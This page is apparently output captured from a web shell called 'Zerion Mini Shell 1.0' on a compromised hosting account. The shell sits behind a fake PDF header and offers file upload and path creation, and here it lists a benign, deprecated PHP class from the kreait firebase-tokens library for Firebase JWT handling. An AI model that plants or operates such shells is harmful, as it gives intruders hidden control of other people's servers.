%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/public_html/vebto/vendor/kreait/firebase-tokens/src/Firebase/Auth/Token/
Upload File :
Create Path :
Current File : /home/graphicd/public_html/vebto/vendor/kreait/firebase-tokens/src/Firebase/Auth/Token/Handler.php

<?php

declare(strict_types=1);

namespace Firebase\Auth\Token;

use DateTimeInterface;
use Firebase\Auth\Token\Domain\KeyStore;
use Lcobucci\JWT\Token;

/**
 * @deprecated 1.9.0
 * @see \Kreait\Firebase\JWT\IdTokenVerifier
 * @see \Kreait\Firebase\JWT\CustomTokenGenerator
 *
 * @codeCoverageIgnore
 */
final class Handler implements Domain\Generator, Domain\Verifier
{
    /** @var Generator */
    private $generator;

    /** @var Verifier */
    private $verifier;

    /**
     * @deprecated 1.7.0 Use the Generator and Verifier directly instead
     */
    public function __construct(string $projectId, string $clientEmail, string $privateKey, KeyStore $keyStore = null)
    {
        $this->generator = new Generator($clientEmail, $privateKey);
        $this->verifier = new Verifier($projectId, $keyStore ?? new HttpKeyStore());
    }

    public function createCustomToken($uid, array $claims = [], DateTimeInterface $expiresAt = null): Token
    {
        return $this->generator->createCustomToken($uid, $claims, $expiresAt);
    }

    public function verifyIdToken($token): Token
    {
        return $this->verifier->verifyIdToken($token);
    }
}

Zerion Mini Shell 1.0